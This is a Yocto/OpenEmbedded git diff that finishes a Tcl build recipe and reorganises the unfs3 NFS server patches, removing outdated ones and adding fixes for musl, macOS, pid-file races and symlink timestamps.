+LIC_FILES_CHKSUM = "file://license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://compat/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://library/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://macosx/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://tests/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://win/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+"
+
+DEPENDS = "tcl-native zlib"
+
+BASE_SRC_URI = "${SOURCEFORGE_MIRROR}/tcl/tcl-core${PV}-src.tar.gz \
+ file://tcl-add-soname.patch"
+SRC_URI = "${BASE_SRC_URI} \
+ file://fix_non_native_build_issue.patch \
+ file://tcl-remove-hardcoded-install-path.patch \
+ file://alter-includedir.patch \
+ file://interp.patch \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "ff604f43862a778827d7ecd1ad7686950ac2ef48d9cf69d3424cea9de08d9a72"
+
+SRC_URI:class-native = "${BASE_SRC_URI}"
+
+UPSTREAM_CHECK_URI = "https://www.tcl.tk/software/tcltk/download.html"
+UPSTREAM_CHECK_REGEX = "tcl(?P<pver>\d+(\.\d+)+)-src"
+
+S = "${WORKDIR}/${BPN}${PV}"
+
+VER = "${PV}"
+
+inherit autotools ptest binconfig
+
+AUTOTOOLS_SCRIPT_PATH = "${S}/unix"
+EXTRA_OECONF = "--enable-threads --disable-rpath --enable-man-suffix"
+
+# Prevent installing copy of tzdata based on tzdata installation on the build host
+# It doesn't install tzdata if one of the following files exist on the host:
+# /usr/share/zoneinfo/UTC /usr/share/zoneinfo/GMT /usr/share/lib/zoneinfo/UTC /usr/share/lib/zoneinfo/GMT /usr/lib/zoneinfo/UTC /usr/lib/zoneinfo/GMT
+# otherwise "/usr/lib/tcl8.6/tzdata" is included in tcl package
+EXTRA_OECONF += "--with-tzdata=no"
+
+do_install() {
+ autotools_do_install
+ oe_runmake 'DESTDIR=${D}' install-private-headers
+ ln -sf ./tclsh${VER} ${D}${bindir}/tclsh
+ ln -sf tclsh8.6 ${D}${bindir}/tclsh${VER}
+ sed -i "s;-L${B};-L${STAGING_LIBDIR};g" tclConfig.sh
+ sed -i "s;'${WORKDIR};'${STAGING_INCDIR};g" tclConfig.sh
+ install -d ${D}${bindir_crossscripts}
+ install -m 0755 tclConfig.sh ${D}${bindir_crossscripts}
+ install -m 0755 tclConfig.sh ${D}${libdir}
+ for dir in compat generic unix; do
+ install -d ${D}${includedir}/${BPN}${VER}/$dir
+ install -m 0644 ${S}/$dir/*.h ${D}${includedir}/${BPN}${VER}/$dir/
+ done
+}
+
+SYSROOT_DIRS += "${bindir_crossscripts}"
+
+PACKAGES =+ "tcl-lib"
+FILES:tcl-lib = "${libdir}/libtcl8.6.so.*"
+FILES:${PN} += "${libdir}/tcl${VER} ${libdir}/tcl8.6 ${libdir}/tcl8"
+FILES:${PN}-dev += "${libdir}/tclConfig.sh ${libdir}/tclooConfig.sh"
+
+# isn't getting picked up by shlibs code
+RDEPENDS:${PN} += "tcl-lib"
+RDEPENDS:${PN}-ptest += "libgcc"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake tcltest
+}
+
+do_install_ptest() {
+ cp ${B}/tcltest ${D}${PTEST_PATH}
+ cp -r ${S}/library ${D}${PTEST_PATH}
+ cp -r ${S}/tests ${D}${PTEST_PATH}
+}
+
+do_install_ptest:append:libc-musl () {
+ # Assumes locales other than provided by musl-locales
+ sed -i '/SKIP="$SKIP socket.*$/a # unixInit-3* is suppressed due to hardcoded locale assumptions\nSKIP="$SKIP unixInit-3\\\*"' ${D}${PTEST_PATH}/run-ptest
+}
+
+# Fix some paths that might be used by Tcl extensions
+BINCONFIG_GLOB = "*Config.sh"
+
+# Fix the path in sstate
+SSTATE_SCAN_FILES += "*Config.sh"
+
+# Cleanup host path from ${libdir}/tclConfig.sh and remove the
+# ${bindir_crossscripts}/tclConfig.sh from target
+PACKAGE_PREPROCESS_FUNCS += "tcl_package_preprocess"
+tcl_package_preprocess() {
+ sed -i -e "s;${DEBUG_PREFIX_MAP};;g" \
+ -e "s;-L${STAGING_LIBDIR};-L${libdir};g" \
+ -e "s;${STAGING_INCDIR};${includedir};g" \
+ -e "s;--sysroot=${RECIPE_SYSROOT};;g" \
+ ${PKGD}${libdir}/tclConfig.sh
+
+ rm -f ${PKGD}${bindir_crossscripts}/tclConfig.sh
+}
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-Add-listen-action-for-a-tcp-socket.patch b/meta/recipes-devtools/unfs3/unfs3/0001-Add-listen-action-for-a-tcp-socket.patch
deleted file mode 100644
index e9b9d3df46..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/0001-Add-listen-action-for-a-tcp-socket.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From b42ab8e1aca951dd06c113159491b3fd5cf06f2e Mon Sep 17 00:00:00 2001
-From: Haiqing Bai <Haiqing.Bai@windriver.com>
-Date: Thu, 24 Oct 2019 09:39:04 +0800
-Subject: [PATCH] Add "listen" action for a tcp socket which does not call
- 'listen' after 'bind'
-
-It is found that /usr/bin/unfsd customus 100% cpu after starting qemu with 'nfs'
-option, and below lots of error messages shows when strace the process:
-
-poll([{fd=3, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND},{fd=4, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND},
-{fd=5, events=POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND},{fd=6, events =POLLIN|POLLPRI|POLLRDNORM|POLLRDBAND}],
-4, 2000) = 2 ([{fd=4, revents=POLLHUP},{fd=6, revents=POLLHUP}])
-accept(4, 0x7ffd5e6dddc0, [128]) = -1 EINVAL (Invalid argument)
-accept(6, 0x7ffd5e6dddc0, [128]) = -1 EINVAL (Invalid argument)
-
-% time seconds usecs/call calls errors syscall
------- ----------- ----------- --------- --------- ----------------
- 70.87 0.005392 0 513886 513886 accept
- 29.13 0.002216 0 256943 poll
- 0.00 0.000000 0 4 read
-
-The root cause is that 'listen' is not called for the binded
-socket. The depended libtipc does not call 'listen' if found
-the incomming socket is binded, so 'accept' reports the error
-in the 'for' loop and cpu consumed.
-
-Upstream-Status: Pending
-
-Signed-off-by: Haiqing Bai <Haiqing.Bai@windriver.com>
----
- daemon.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/daemon.c b/daemon.c
-index 028a181..4c85903 100644
---- a/daemon.c
-+++ b/daemon.c
-@@ -814,6 +814,13 @@ static SVCXPRT *create_tcp_transport(unsigned int port)
- fprintf(stderr, "Couldn't bind to tcp port %d\n", port);
- exit(1);
- }
-+
-+ if (listen(sock, SOMAXCONN) < 0) {
-+ perror("listen");
-+ fprintf(stderr, "Couldn't listen on the address \n");
-+ close(sock);
-+ exit(1);
-+ }
- }
-
- transp = svctcp_create(sock, 0, 0);
---
-1.9.1
-
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-Alias-off64_t-to-off_t-on-linux-if-not-defined.patch b/meta/recipes-devtools/unfs3/unfs3/0001-Alias-off64_t-to-off_t-on-linux-if-not-defined.patch
new file mode 100644
index 0000000000..91909fa236
--- /dev/null
+++ b/meta/recipes-devtools/unfs3/unfs3/0001-Alias-off64_t-to-off_t-on-linux-if-not-defined.patch
@@ -0,0 +1,28 @@
+From 949db882e487d728c44bb68139682b38396dd275 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 14 Dec 2022 14:50:10 -0800
+Subject: [PATCH] Alias off64_t to off_t on linux if not defined
+
+Musl C library does not define off64_t and has 64-bit default off_t
+therefore define off64_t as an alias on linux as well when configure
+detects that off64_t is not provided by a linux system
+
+Upstream-Status: Submitted [https://github.com/unfs3/unfs3/pull/29]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ nfs.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/nfs.h b/nfs.h
+index aded011..7996c67 100644
+--- a/nfs.h
++++ b/nfs.h
+@@ -62,7 +62,7 @@ typedef int32_t int32;
+ #endif
+
+ #ifndef HAVE_OFF64_T
+-#ifdef __APPLE__
++#if defined(__APPLE__) || defined(__linux__)
+ typedef off_t off64_t;
+ #endif
+ #endif
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-attr-fix-utime-for-symlink.patch b/meta/recipes-devtools/unfs3/unfs3/0001-attr-fix-utime-for-symlink.patch
index 6957d102b8..a0f3740d6a 100644
--- a/meta/recipes-devtools/unfs3/unfs3/0001-attr-fix-utime-for-symlink.patch
+++ b/meta/recipes-devtools/unfs3/unfs3/0001-attr-fix-utime-for-symlink.patch
@@ -1,6 +1,6 @@
-From 3f4fcb62661059bad77a2e957b4621137797bc2f Mon Sep 17 00:00:00 2001
+From 7e789895919d57d573ebb8faa147d1286104cd01 Mon Sep 17 00:00:00 2001
From: Rui Wang <rui.wang@windriver.com>
-Date: Fri, 15 Jun 2018 14:19:10 +0800
+Date: Mon, 24 Apr 2023 02:57:57 -0700
Subject: [PATCH] attr: fix utime for symlink
unfs3 has an old defect that it can not change the timestamps of a
@@ -15,9 +15,9 @@ Making unfs3 support lutimes(), which can modify the symlink file
itself. Considering not every system support this function, so a
function checking is necessary.
-Upstream-Status: Submitted [https://sourceforge.net/p/unfs3/bugs/12/]
+Upstream-Status: Submitted [https://github.com/unfs3/unfs3/pull/35]
-Signed-off-by: Rui Wang <rui.wang@windriver.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
---
attr.c | 15 +++++++++++----
backend_unix.h | 2 ++
@@ -25,22 +25,22 @@ Signed-off-by: Rui Wang <rui.wang@windriver.com>
3 files changed, 14 insertions(+), 4 deletions(-)
diff --git a/attr.c b/attr.c
-index 73e5c75..427d0e2 100644
+index 0ce9375..930ce6e 100644
--- a/attr.c
+++ b/attr.c
-@@ -280,7 +280,7 @@ post_op_attr get_post_cached(struct svc_req * req)
+@@ -285,7 +285,7 @@ post_op_attr get_post_cached(struct svc_req * req)
static nfsstat3 set_time(const char *path, backend_statstruct buf, sattr3 new)
{
time_t new_atime, new_mtime;
- struct utimbuf utim;
+ struct timeval stamps[2];
int res;
-
+
/* set atime and mtime */
-@@ -302,10 +302,17 @@ static nfsstat3 set_time(const char *path, backend_statstruct buf, sattr3 new)
- else /* DONT_CHANGE */
- new_mtime = buf.st_mtime;
-
+@@ -307,10 +307,17 @@ static nfsstat3 set_time(const char *path, backend_statstruct buf, sattr3 new)
+ else /* DONT_CHANGE */
+ new_mtime = buf.st_mtime;
+
- utim.actime = new_atime;
- utim.modtime = new_mtime;
+ stamps[0].tv_sec = new_atime;
@@ -53,13 +53,13 @@ index 73e5c75..427d0e2 100644
+#else
+ res = backend_utimes(path, stamps);
+#endif
-
+
- res = backend_utime(path, &utim);
- if (res == -1)
- return setattr_err();
+ if (res == -1)
+ return setattr_err();
}
diff --git a/backend_unix.h b/backend_unix.h
-index fbc2af3..813ffd3 100644
+index 4db72ae..9cce9ab 100644
--- a/backend_unix.h
+++ b/backend_unix.h
@@ -61,6 +61,8 @@
@@ -72,14 +72,17 @@ index fbc2af3..813ffd3 100644
#define backend_dirstream DIR
#define backend_statvfsstruct struct statvfs
diff --git a/configure.ac b/configure.ac
-index aeec598..ea7f167 100644
+index d46c905..c21afe3 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -37,6 +37,7 @@ AC_CHECK_FUNCS(setresuid setresgid)
+@@ -32,6 +32,7 @@ AC_CHECK_FUNCS(setresuid setresgid)
AC_CHECK_FUNCS(vsyslog)
AC_CHECK_FUNCS(lchown)
AC_CHECK_FUNCS(setgroups)
+AC_CHECK_FUNCS(lutimes)
- UNFS3_SOLARIS_RPC
- UNFS3_PORTMAP_DEFINE
UNFS3_COMPILE_WARNINGS
+
+ PKG_CHECK_MODULES([TIRPC], [libtirpc])
+--
+2.40.0
+
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Fix-race-window-for-writing-of-the-pid-file.patch b/meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Fix-race-window-for-writing-of-the-pid-file.patch
new file mode 100644
index 0000000000..20bbee90a0
--- /dev/null
+++ b/meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Fix-race-window-for-writing-of-the-pid-file.patch
@@ -0,0 +1,68 @@
+From 212a947e776e7a25c1f2259615f461179bcb3663 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 23 Nov 2022 21:38:38 +0100
+Subject: [PATCH] daemon.c: Fix race window for writing of the pid file
+
+The parent process should write the pid file such that the pid file
+will can be checked immediately following exit of the fork from the
+parent.
+
+This allows external monitoring applications to watch the daemon
+without having to add sleep calls to wait for the pid file be written
+on a busy system.
+
+Upstream-Status: Submitted [https://github.com/unfs3/unfs3/pull/28]
+Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ daemon.c | 12 +++++++++---
+ 1 file changed, 9 insertions(+), 3 deletions(-)
+
+diff --git a/daemon.c b/daemon.c
+index ff53b7a..13b06a4 100644
+--- a/daemon.c
++++ b/daemon.c
+@@ -166,7 +166,7 @@ int get_socket_type(struct svc_req *rqstp)
+ /*
+ * write current pid to a file
+ */
+-static void create_pid_file(void)
++static void create_pid_file(int pid)
+ {
+ char buf[16];
+ int fd, res, len;
+@@ -188,7 +188,7 @@ static void create_pid_file(void)
+ }
+ #endif
+
+- sprintf(buf, "%i\n", backend_getpid());
++ sprintf(buf, "%i\n", pid);
+ len = strlen(buf);
+
+ res = backend_pwrite(fd, buf, len, 0);
+@@ -1122,6 +1122,10 @@ int main(int argc, char **argv)
+ fprintf(stderr, "could not fork into background\n");
+ daemon_exit(0);
+ }
++ if (pid)
++ create_pid_file(pid);
++ } else {
++ create_pid_file(backend_getpid());
+ }
+ #endif /* WIN32 */
+
+@@ -1161,8 +1165,10 @@ int main(int argc, char **argv)
+ /* no umask to not screw up create modes */
+ umask(0);
+
++#ifdef WIN32
+ /* create pid file if wanted */
+- create_pid_file();
++ create_pid_file(backend_getpid());
++#endif
+
+ /* initialize internal stuff */
+ fh_cache_init();
+--
+2.30.2
+
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Libtirpc-porting-fixes.patch b/meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Libtirpc-porting-fixes.patch
deleted file mode 100644
index 6eee6748f9..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/0001-daemon.c-Libtirpc-porting-fixes.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From c7a2a65d6c2a433312540c207860740d6e4e7629 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 11 Mar 2018 17:32:54 -0700
-Subject: [PATCH] daemon.c: Libtirpc porting fixes
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- daemon.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/daemon.c b/daemon.c
-index 22f30f6..028a181 100644
---- a/daemon.c
-+++ b/daemon.c
-@@ -117,7 +117,7 @@ void logmsg(int prio, const char *fmt, ...)
- */
- struct in_addr get_remote(struct svc_req *rqstp)
- {
-- return (svc_getcaller(rqstp->rq_xprt))->sin_addr;
-+ return ((struct sockaddr_in*)svc_getcaller(rqstp->rq_xprt))->sin_addr;
- }
-
- /*
-@@ -125,7 +125,7 @@ struct in_addr get_remote(struct svc_req *rqstp)
- */
- short get_port(struct svc_req *rqstp)
- {
-- return (svc_getcaller(rqstp->rq_xprt))->sin_port;
-+ return ((struct sockaddr_in*)svc_getcaller(rqstp->rq_xprt))->sin_port;
- }
-
- /*
---
-2.16.2
-
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-fix-building-on-macOS.patch b/meta/recipes-devtools/unfs3/unfs3/0001-fix-building-on-macOS.patch
new file mode 100644
index 0000000000..f18ffd3711
--- /dev/null
+++ b/meta/recipes-devtools/unfs3/unfs3/0001-fix-building-on-macOS.patch
@@ -0,0 +1,27 @@
+From 989b87ae46b3183a742031373fbb3e912ab9b666 Mon Sep 17 00:00:00 2001
+From: Andrey Filipenkov <decapitator@ukr.net>
+Date: Wed, 2 Nov 2022 13:38:40 +0300
+Subject: [PATCH] fix building on macOS
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Backport [https://github.com/unfs3/unfs3/commit/989b87ae46b3183a742031373fbb3e912ab9b666]
+---
+ attr.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/attr.c b/attr.c
+index 6253e84..0ce9375 100644
+--- a/attr.c
++++ b/attr.c
+@@ -18,6 +18,8 @@
+ #include <utime.h>
+ #include <errno.h>
+ #include <dirent.h>
++#include <stdlib.h>
++#include <string.h>
+
+ #include "backend.h"
+ #include "nfs.h"
+--
+2.39.1
+
diff --git a/meta/recipes-devtools/unfs3/unfs3/0001-locate.c-Include-attr.h.patch b/meta/recipes-devtools/unfs3/unfs3/0001-locate.c-Include-attr.h.patch
new file mode 100644
index 0000000000..076e08fadc
--- /dev/null
+++ b/meta/recipes-devtools/unfs3/unfs3/0001-locate.c-Include-attr.h.patch
@@ -0,0 +1,28 @@
+From 63e0785bb379a8f2c41f34f5cd938ca38555e605 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 13 Jan 2023 23:41:01 -0800
+Subject: [PATCH] locate.c: Include attr.h
+
+Its needed for fix_dir_times() API declarations
+
+Upstream-Status: Submitted [https://github.com/unfs3/unfs3/pull/32]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locate.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/locate.c b/locate.c
+index 6bbe71f..84e0fe5 100644
+--- a/locate.c
++++ b/locate.c
+@@ -27,6 +27,7 @@
+ #include "nfs.h"
+ #include "fh.h"
+ #include "daemon.h"
++#include "attr.h"
+
+ /*
+ * these are the brute-force file searching routines that are used
+--
+2.39.0
+
diff --git a/meta/recipes-devtools/unfs3/unfs3/alternate_rpc_ports.patch b/meta/recipes-devtools/unfs3/unfs3/alternate_rpc_ports.patch
deleted file mode 100644
index ff745d4774..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/alternate_rpc_ports.patch
+++ /dev/null
@@ -1,158 +0,0 @@
-Add ability to specify rcp port numbers
-
-In order to run more than one unfs server on a host system, you must
-be able to specify alternate rpc port numbers.
-
-Jason Wessel <jason.wessel@windriver.com>
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- daemon.c | 44 +++++++++++++++++++++++++++++++-------------
- mount.c | 4 ++--
- 2 files changed, 33 insertions(+), 15 deletions(-)
-
---- a/daemon.c
-+++ b/daemon.c
-@@ -78,6 +78,8 @@ int opt_testconfig = FALSE;
- struct in_addr opt_bind_addr;
- int opt_readable_executables = FALSE;
- char *opt_pid_file = NULL;
-+int nfs_prog = NFS3_PROGRAM;
-+int mount_prog = MOUNTPROG;
-
- /* Register with portmapper? */
- int opt_portmapper = TRUE;
-@@ -206,7 +208,7 @@ static void parse_options(int argc, char
- {
-
- int opt = 0;
-- char *optstring = "bcC:de:hl:m:n:prstTuwi:";
-+ char *optstring = "bcC:de:hl:m:n:prstTuwi:x:y:";
-
- while (opt != -1) {
- opt = getopt(argc, argv, optstring);
-@@ -261,8 +263,24 @@ static void parse_options(int argc, char
- printf
- ("\t-r report unreadable executables as readable\n");
- printf("\t-T test exports file and exit\n");
-+ printf("\t-x <port> alternate NFS RPC port\n");
-+ printf("\t-y <port> alternate MOUNTD RPC port\n");
- exit(0);
- break;
-+ case 'x':
-+ nfs_prog = strtol(optarg, NULL, 10);
-+ if (nfs_prog == 0) {
-+ fprintf(stderr, "Invalid NFS RPC port\n");
-+ exit(1);
-+ }
-+ break;
-+ case 'y':
-+ mount_prog = strtol(optarg, NULL, 10);
-+ if (mount_prog == 0) {
-+ fprintf(stderr, "Invalid MOUNTD RPC port\n");
-+ exit(1);
-+ }
-+ break;
- case 'l':
- opt_bind_addr.s_addr = inet_addr(optarg);
- if (opt_bind_addr.s_addr == (unsigned) -1) {
-@@ -347,12 +365,12 @@ void daemon_exit(int error)
- #endif /* WIN32 */
-
- if (opt_portmapper) {
-- svc_unregister(MOUNTPROG, MOUNTVERS1);
-- svc_unregister(MOUNTPROG, MOUNTVERS3);
-+ svc_unregister(mount_prog, MOUNTVERS1);
-+ svc_unregister(mount_prog, MOUNTVERS3);
- }
-
- if (opt_portmapper) {
-- svc_unregister(NFS3_PROGRAM, NFS_V3);
-+ svc_unregister(nfs_prog, NFS_V3);
- }
-
- if (error == SIGSEGV)
-@@ -657,13 +675,13 @@ static void mountprog_3(struct svc_req *
- static void register_nfs_service(SVCXPRT * udptransp, SVCXPRT * tcptransp)
- {
- if (opt_portmapper) {
-- pmap_unset(NFS3_PROGRAM, NFS_V3);
-+ pmap_unset(nfs_prog, NFS_V3);
- }
-
- if (udptransp != NULL) {
- /* Register NFS service for UDP */
- if (!svc_register
-- (udptransp, NFS3_PROGRAM, NFS_V3, nfs3_program_3,
-+ (udptransp, nfs_prog, NFS_V3, nfs3_program_3,
- opt_portmapper ? IPPROTO_UDP : 0)) {
- fprintf(stderr, "%s\n",
- "unable to register (NFS3_PROGRAM, NFS_V3, udp).");
-@@ -674,7 +692,7 @@ static void register_nfs_service(SVCXPRT
- if (tcptransp != NULL) {
- /* Register NFS service for TCP */
- if (!svc_register
-- (tcptransp, NFS3_PROGRAM, NFS_V3, nfs3_program_3,
-+ (tcptransp, nfs_prog, NFS_V3, nfs3_program_3,
- opt_portmapper ? IPPROTO_TCP : 0)) {
- fprintf(stderr, "%s\n",
- "unable to register (NFS3_PROGRAM, NFS_V3, tcp).");
-@@ -686,14 +704,14 @@ static void register_nfs_service(SVCXPRT
- static void register_mount_service(SVCXPRT * udptransp, SVCXPRT * tcptransp)
- {
- if (opt_portmapper) {
-- pmap_unset(MOUNTPROG, MOUNTVERS1);
-- pmap_unset(MOUNTPROG, MOUNTVERS3);
-+ pmap_unset(mount_prog, MOUNTVERS1);
-+ pmap_unset(mount_prog, MOUNTVERS3);
- }
-
- if (udptransp != NULL) {
- /* Register MOUNT service (v1) for UDP */
- if (!svc_register
-- (udptransp, MOUNTPROG, MOUNTVERS1, mountprog_3,
-+ (udptransp, mount_prog, MOUNTVERS1, mountprog_3,
- opt_portmapper ? IPPROTO_UDP : 0)) {
- fprintf(stderr, "%s\n",
- "unable to register (MOUNTPROG, MOUNTVERS1, udp).");
-@@ -702,7 +720,7 @@ static void register_mount_service(SVCXP
-
- /* Register MOUNT service (v3) for UDP */
- if (!svc_register
-- (udptransp, MOUNTPROG, MOUNTVERS3, mountprog_3,
-+ (udptransp, mount_prog, MOUNTVERS3, mountprog_3,
- opt_portmapper ? IPPROTO_UDP : 0)) {
- fprintf(stderr, "%s\n",
- "unable to register (MOUNTPROG, MOUNTVERS3, udp).");
-@@ -713,7 +731,7 @@ static void register_mount_service(SVCXP
- if (tcptransp != NULL) {
- /* Register MOUNT service (v1) for TCP */
- if (!svc_register
-- (tcptransp, MOUNTPROG, MOUNTVERS1, mountprog_3,
-+ (tcptransp, mount_prog, MOUNTVERS1, mountprog_3,
- opt_portmapper ? IPPROTO_TCP : 0)) {
- fprintf(stderr, "%s\n",
- "unable to register (MOUNTPROG, MOUNTVERS1, tcp).");
-@@ -722,7 +740,7 @@ static void register_mount_service(SVCXP
-
- /* Register MOUNT service (v3) for TCP */
- if (!svc_register
-- (tcptransp, MOUNTPROG, MOUNTVERS3, mountprog_3,
-+ (tcptransp, mount_prog, MOUNTVERS3, mountprog_3,
- opt_portmapper ? IPPROTO_TCP : 0)) {
- fprintf(stderr, "%s\n",
- "unable to register (MOUNTPROG, MOUNTVERS3, tcp).");
---- a/mount.c
-+++ b/mount.c
-@@ -155,8 +155,8 @@ mountres3 *mountproc_mnt_3_svc(dirpath *
- /* error out if not version 3 */
- if (rqstp->rq_vers != 3) {
- logmsg(LOG_INFO,
-- "%s attempted mount with unsupported protocol version",
-- inet_ntoa(get_remote(rqstp)));
-+ "%s attempted mount with unsupported protocol version: %i",
-+ inet_ntoa(get_remote(rqstp)), rqstp->rq_vers);
- result.fhs_status = MNT3ERR_INVAL;
- return &result;
- }
diff --git a/meta/recipes-devtools/unfs3/unfs3/fix_compile_warning.patch b/meta/recipes-devtools/unfs3/unfs3/fix_compile_warning.patch
deleted file mode 100644
index aada014117..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/fix_compile_warning.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-daemon.c: Check exit code of chdir()
-
-Stop the compile warning and fix the code to act on a chdir() failure.
-If this one does fail something is very, very wrong.
-
-Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- daemon.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
---- a/daemon.c
-+++ b/daemon.c
-@@ -964,7 +964,8 @@ int main(int argc, char **argv)
- sigaction(SIGALRM, &act, NULL);
-
- /* don't make directory we started in busy */
-- chdir("/");
-+ if(chdir("/") < 0)
-+ daemon_exit(0);
-
- /* detach from terminal */
- if (opt_detach) {
diff --git a/meta/recipes-devtools/unfs3/unfs3/fix_pid_race_parent_writes_child_pid.patch b/meta/recipes-devtools/unfs3/unfs3/fix_pid_race_parent_writes_child_pid.patch
deleted file mode 100644
index 46b187e5f3..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/fix_pid_race_parent_writes_child_pid.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-daemon.c: Fix race window for writing of the pid file
-
-The parent process should write the pid file such that the pid file
-will can be checked immediately following exit of the fork from the
-parent.
-
-This allows external monitoring applications to watch the daemon
-without having to add sleep calls to wait for the pid file be written
-on a busy system.
-
-Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- daemon.c | 12 +++++++++---
- 1 file changed, 9 insertions(+), 3 deletions(-)
-
---- a/daemon.c
-+++ b/daemon.c
-@@ -153,7 +153,7 @@ int get_socket_type(struct svc_req *rqst
- /*
- * write current pid to a file
- */
--static void create_pid_file(void)
-+static void create_pid_file(int pid)
- {
- char buf[16];
- int fd, res, len;
-@@ -175,7 +175,7 @@ static void create_pid_file(void)
- }
- #endif
-
-- sprintf(buf, "%i\n", backend_getpid());
-+ sprintf(buf, "%i\n", pid);
- len = strlen(buf);
-
- res = backend_pwrite(fd, buf, len, 0);
-@@ -970,6 +970,10 @@ int main(int argc, char **argv)
- fprintf(stderr, "could not fork into background\n");
- daemon_exit(0);
- }
-+ if (pid)
-+ create_pid_file(pid);
-+ } else {
-+ create_pid_file(backend_getpid());
- }
- #endif /* WIN32 */
-
-@@ -1006,8 +1010,10 @@ int main(int argc, char **argv)
- /* no umask to not screw up create modes */
- umask(0);
-
-+#ifdef WIN32
- /* create pid file if wanted */
-- create_pid_file();
-+ create_pid_file(backend_getpid());
-+#endif
-
- /* initialize internal stuff */
- fh_cache_init();
diff --git a/meta/recipes-devtools/unfs3/unfs3/relative_max_socket_path_len.patch b/meta/recipes-devtools/unfs3/unfs3/relative_max_socket_path_len.patch
deleted file mode 100644
index 219dd35aec..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/relative_max_socket_path_len.patch
+++ /dev/null
@@ -1,74 +0,0 @@
-nfs.c: Allow max sa.sun_path for a localdomain socket with the user nfs-server
-
-There is a hard limit for the kernel of 108 characters for a
-localdomain socket name. To avoid problems with the user nfs
-server it should maximize the number of characters by using
-a relative path on the server side.
-
-Previously the nfs-server used the absolute path name passed to
-the sa.sunpath arg for binding the socket and this has caused
-problems for both the X server and UST binaries which make
-heavy use of named sockets with long names.
-
-Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- nfs.c | 29 +++++++++++++++++++++++++++--
- 1 file changed, 27 insertions(+), 2 deletions(-)
-
---- a/nfs.c
-+++ b/nfs.c
-@@ -672,6 +672,7 @@ SYMLINK3res *nfsproc3_symlink_3_svc(SYML
- }
-
- #ifndef WIN32
-+static char pathbuf_tmp[NFS_MAXPATHLEN + NFS_MAXNAMLEN + 1];
-
- /*
- * create Unix socket
-@@ -680,17 +681,41 @@ static int mksocket(const char *path, mo
- {
- int res, sock;
- struct sockaddr_un addr;
-+ unsigned int len = strlen(path);
-
- sock = socket(PF_UNIX, SOCK_STREAM, 0);
-- addr.sun_family = AF_UNIX;
-- strcpy(addr.sun_path, path);
- res = sock;
- if (res != -1) {
-+ addr.sun_family = AF_UNIX;
-+ if (len < sizeof(addr.sun_path) -1) {
-+ strcpy(addr.sun_path, path);
-+ } else {
-+ char *ptr;
-+ res = -1;
-+ if (len >= sizeof(path))
-+ goto out;
-+ strcpy(pathbuf_tmp, path);
-+ ptr = strrchr(pathbuf_tmp,'/');
-+ if (ptr) {
-+ *ptr = '\0';
-+ ptr++;
-+ if (chdir(pathbuf_tmp))
-+ goto out;
-+ } else {
-+ ptr = pathbuf_tmp;
-+ }
-+ if (strlen(ptr) >= sizeof(addr.sun_path))
-+ goto out;
-+ strcpy(addr.sun_path, ptr);
-+ }
- umask(~mode);
- res =
- bind(sock, (struct sockaddr *) &addr,
- sizeof(addr.sun_family) + strlen(addr.sun_path));
- umask(0);
-+out:
-+ if (chdir("/"))
-+ fprintf(stderr, "Internal failure to chdir /\n");
- close(sock);
- }
- return res;
